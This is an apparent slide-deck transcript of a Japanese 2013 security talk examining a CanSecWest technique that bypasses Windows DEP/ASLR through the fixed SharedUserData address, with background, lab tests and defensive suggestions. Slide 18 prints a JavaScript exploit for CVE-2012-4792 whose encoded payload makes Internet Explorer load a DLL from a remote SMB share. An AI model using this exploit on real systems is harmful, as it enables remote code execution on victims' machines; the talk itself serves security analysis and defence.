Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

21,760 views

Published on

CanSecWest 2013 で公開された資料を詳しく見てみた。

  • Be the first to comment

APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。

  1. 1. ROP/JIT を使わずに CanSecWest 2013 のDEP/ASLR を回避する。 資料の検証。 を使わずに を回避する。
  2. 2. お品書き自己紹介どんな資料なの回避する対象の DEP / ASLR って、なんなの今回の提案手法の概要とサンプルコード実際に試してみた。気になったところ。 を使わずに を回避する。
  3. 3. 自己紹介三村 聡志 (@mimura1133) / APASEC 初参加 http://mimumimu.net/ http://facebook.com/mimura1133セキュリティ&プログラミングキャンプ 2011 参加。セキュリティ・キャンプ 2012 チュータ参加。最近取材受けた [NEW!] を使わずに を回避する。
  4. 4. どういう資料なのか。 を使わずに を回避する。
  5. 5. 資料概要CanSecWest Vancouver 2013 で発表された資料。(http://cansecwest.com/csw13archive.html)NSFOCUS Security Labs の Yang Yu さんが発表。ROP や JIT を使わずに、DEP や ASLR を回避して、任意のコードを実行しよう、という内容。 を使わずに を回避する。
  6. 6. 回避したいDEP/ASLR ってなに? を使わずに を回避する。
  7. 7. DEP (データ実行防止)メモリ上のデータに「実行不可能」という印をつけて、動作を制限する。 攻撃者が不正なプログラムを送り込む際に、 本来は実行プログラムのデータが格納されるはずのない 場所にデータを格納して、実行させようとする所に着目。 下手なシェルコードを送り込むと、これで弾かれる。 カーネルでやらかすと ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY が発生。 を使わずに を回避する。
  8. 8. DEP (データ実行防止)詳しく書くと : x86_64 版 Windows + x86_64 環境用の実行ファイル  全てに適用される。 (AlwaysOn) BCD にて nx = AlwaysOff と指定すれば外れる。  スレッドスタック (Kernel,User), ページ領域 (User), Paged pool (Kernel), Session Pool (Kernel) が対象。 x86 版 Windows or x86 環境用の実行ファイル  重要なもののみに原則適用。 (OutIn) ただし、サーバ用OS では原則全て (OptOut)  なお、PAE (Physical Address Extension) が有効な環境でないと、ハードウェア DEP が有効にならない。  スレッドスタック (User), ページ領域 (User) 参照元:Windows Internals 6 th を斜め読み。 を使わずに を回避する。
  9. 9. ASLR (アドレス空間配置のランダム化)下記データのメモリアドレスを不定にする。 イメージ(実行データ) スタック領域 ヒープ領域 攻撃者がプログラム内部のコードを攻撃をするためにうまく組み合わせて攻撃してくること があるが、内部コードの位置を不定にすることにより、攻撃をやりにくくする。 分からなければ、3時のおやつを 「いつも同じ特定の場所」 に隠しておくと、 いつの間にかバレて、おやつが食べられてしまうことを想像しよう。 を使わずに を回避する。
  10. 10. ASLR (アドレス空間配置のランダム化)詳しく書くと: (イメージデータ) TSC (CPU のタイムスタンプ値) を元に 8ビットの値を生成し、 254 で割り、1を足したものに 64KB を掛けたものを用いる。 DLL に関してはシステム起動時に1回計算し、その値を元にランダム化する。 (スタック) TSC を元に5ビットの値を生成して領域を決め、その後 9ビットの値を生成し直して 4を掛けた値を、最終的なスタックのアドレスとする。 (ヒープ)TSC を元に5ビットの値を生成し、そこに 64KB を掛けた値をアドレスとする。 イメージは (0x50000000 – 0x78000000) ヒープは (0x00000000 – 0x001F0000) の範囲。 参照元:Windows Internals 6 th を斜め読み。 を使わずに を回避する。
  11. 11. ROP (Return-Oriented-Programming)イメージとしては、新聞で脅迫文(失礼)を作るような感じ。仕掛けとしては、“ret” 命令で戻る際のアドレスが書き込まれているスタック領域を、プログラム内でつかえそうな部分のアドレスに書き換える。 あとは、ret -> 指定箇所が実行される -> ret -> 指定箇所2が実行される… の繰り返し。実行不可能な場所を使っているのでは無く、実行可能なコードを組み合わせて使う。先述の DEP に対してはこれで何とかなる。ただ ASLR が掛かってると、欲しい箇所のアドレスが分からない。 を使わずに を回避する。
  12. 12. JIT (Just-In-Time) [Compiler]身近な例では Microsoft .NET, Mono, Java, JavaScript (実装による)実行中に「実行可能コード」を ”生成” する。 実行中に悪用可能なコードを実行可能コードとして配置できる。過去にあった例:PDF (BlackHat DC 2010) を使わずに を回避する。
  13. 13. でも動かすのめんどい。JIT コンパイラがあって、かつそれが使えそうな感じかどうか。ROP が出来そうな、 ASLR の掛かっていないやつがあるかどうか。=> ではこれ以外の環境ではどうするの? 今回の発表. を使わずに を回避する。
  14. 14. 概要とサンプルコード を使わずに を回避する。
  15. 15. 概要Windows NT4 以降の Windows では、0x7ffe0000 にSharedUserData 構造体のデータがアドレス固定で置かれている。(アドレス固定なので、面倒くさいことせず、決め打ちで呼び出せる!) [いつも同じ場所にお菓子を隠しているので、食べ放題!] を使わずに を回避する。
  16. 16. 概要x86 環境では: 0x7ffe0000 + 0x300 の位置に SystemCall へのポインタが置かれている。 ax (eax ではない) の値を正しく設定し、 SystemCall を呼べれば、システムコールできる!x86_64 環境 (for x86 アプリケーション) では: 0x7ffe0000 + 0x340 の位置から Wow64SharedInformation 構造体のデータが格納されている。 その中からさらに +0x010 した位置 ( 0x7ffe0350 ) に、 ntdll!LdrHotPatchRoutine へのポインタが置かれている。 このAPIを使って、任意の DLL を読み込ませて、任意のコードを実行できる! を使わずに を回避する。
  17. 17. SystemCall を使った手法 (for x86)MS08-078(ポインタ参照の メモリ破壊の脆弱性)を応用したサンプル。eax の先を “7c02fe7f”(0x7ffe027c + 0x84 = KiFastSystemCall)になるようにメモリを埋めておく。このコードが成功すると、0x11db のシステムコールが実行される。 を使わずに を回避する。
  18. 18. ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 ) struct HotPatchBufferfunction CVE-2012-4792_EXP() { {var e0 = null; ULONG NotSoSure01; // => EAX へvar e1 = null; ULONG NotSoSure02;var e2 = null; USHORT PatcherNameOffset;try { USHORT PatcherNameLen;e0 = document.getElementById("a"); USHORT PatcheeNameOffset;e1 = document.getElementById("b"); USHORT PatcheeNameLen;e2 = document.createElement("q"); USHORT UnknownNameOffset;e1.applyElement(e2); USHORT UnknownNameLene1.appendChild(document.createElement(button)); char[] PatcherName;e1.applyElement(e0); char[] PatcheeName;e2.outerText = ""; };e2.appendChild(document.createElement(body));} catch(e) { } PatcherName :CollectGarbage(); ¥¥192.168.59.128¥x¥x.dllwindow.location = "¥u0274¥u7ffe¥u4242¥u4242¥u0014¥u0030¥u0044" +"¥u0012¥u1212¥u0004¥u005c¥u005c¥u0031¥u0039¥u0032¥u002e¥u0031" + PatcheeName :"¥u0036¥u0038¥u002e¥u0035¥u0039¥u002e¥u0031¥u0032¥u0038¥u005c" +"¥u0078¥u005c¥u0078¥u002e¥u0064¥u006c¥u006c¥u006e¥u0074¥u0064" + ntdll.dll"¥u006c¥u006c¥u002e¥u0064¥u006c¥u006c";} を使わずに を回避する。
  19. 19. ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 )MS13-008 を応用したサンプル。先ほどのコードが実行されると、LdrHotPatchRoutine が実行される。また、事前に “push edi” としている点から、関数に必要なパラメータはここから持ってこれる。 を使わずに を回避する。
  20. 20. 実際に試してみた。 を使わずに を回避する。
  21. 21. テスト環境Windows 7 Service Pack 1 (x86, x86_64) + Internet Explorer 8Windows 8 (x86, x86_64) + Internet Explorer 10留意点: MSDN よりダウンロードした状態でそのまま使う。 Windows Update 等は禁止する。 を使わずに を回避する。
  22. 22. 挿入するDLL :BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved){ switch(fdwReason) { case DLL_PROCESS_ATTACH: MessageBox (NULL,L"HELLO APA SEC!",NULL,NULL); break; } return TRUE;} を使わずに を回避する。
  23. 23. 実行させてみた。実行後は IE が応答無しになる。MS13-008 が未修正の x86 版 Windows で実行すると、すさまじい数のアラートが出る。 を使わずに を回避する。
  24. 24. もっと動かしてみた。 EMET では、 外部サーバの DLL を見に行 くような挙動はチェックして いないらしい。 また、 LdrHotPatchRoutine の 呼び出しについても同様。 を使わずに を回避する。
  25. 25. 気になったところ。 を使わずに を回避する。
  26. 26. APA akasakaこの攻撃を防ぐには? APA -180LdrHotpatchRoutine のパラメータを見る。struct HOTPATCH{ Flag は正しい? DWORD Flags; DWORD Size; union { size は正しい? struct CodeInfo { } struct KernelInfo { } そもそも、 struct UserModeInfo { } リモートのファイル 呼び出し元は? struct InjectionInfo { } struct RenameInfo {} を見に行ってない? struct AtomicSwap { } }} http://www.openrce.org/articles/full_view/22あとは外向けのファイアウォールで、 ここに LdrHotPatchRoutine に対してのSMB 通信を切る。 詳しい資料がある。 を使わずに を回避する。
  27. 27. Windows 8 では?SharedUserData に SystemCall を指し示したポインタがない。 Windows XP Windows 8 Windows 8でも、KiFastSystemCall 自体は存在する。プロセスからアクセスできる範囲を全部検索してみても、そこを示したポインタはなさそう。 を使わずに を回避する。
  28. 28. Windows 8 では?Wow64SharedInformation がない。 Windows 7 Windows 8ただし、メソッド自体は残っている。検索結果は先ほどと同様。 を使わずに を回避する。
  29. 29. x86 のサンプルについて0x11db と書いてあるけれど、それはNtGdiEngCheckAbort だとおもう。NtUserLockWorkStation なら、0x12db では。・・でも、もちろんこの値を正しく設定できれば、実行はできるはず。(未確認。)ref :http://j00ru.vexillium.org/win32k_x64/ を使わずに を回避する。
  30. 30. まとめ を使わずに を回避する。
  31. 31. まとめ。0x7ffe0000 にSharedUserData 構造体のデータがアドレス固定で置かれている。そのうち、 x86 では KiFastSystemCallx86_64 では LdrHotPatchRoutine を呼び出すことが出来る。特に後者ではスプレー不要のため、より簡単に呼び出せて危険。Windows 8 では今回の問題に関する情報は削除されていた。 を使わずに を回避する。
  32. 32. ROP/JIT を使わずに CanSecWest 2013 のDEP/ASLR を回避する。 資料の検証。 を使わずに を回避する。

×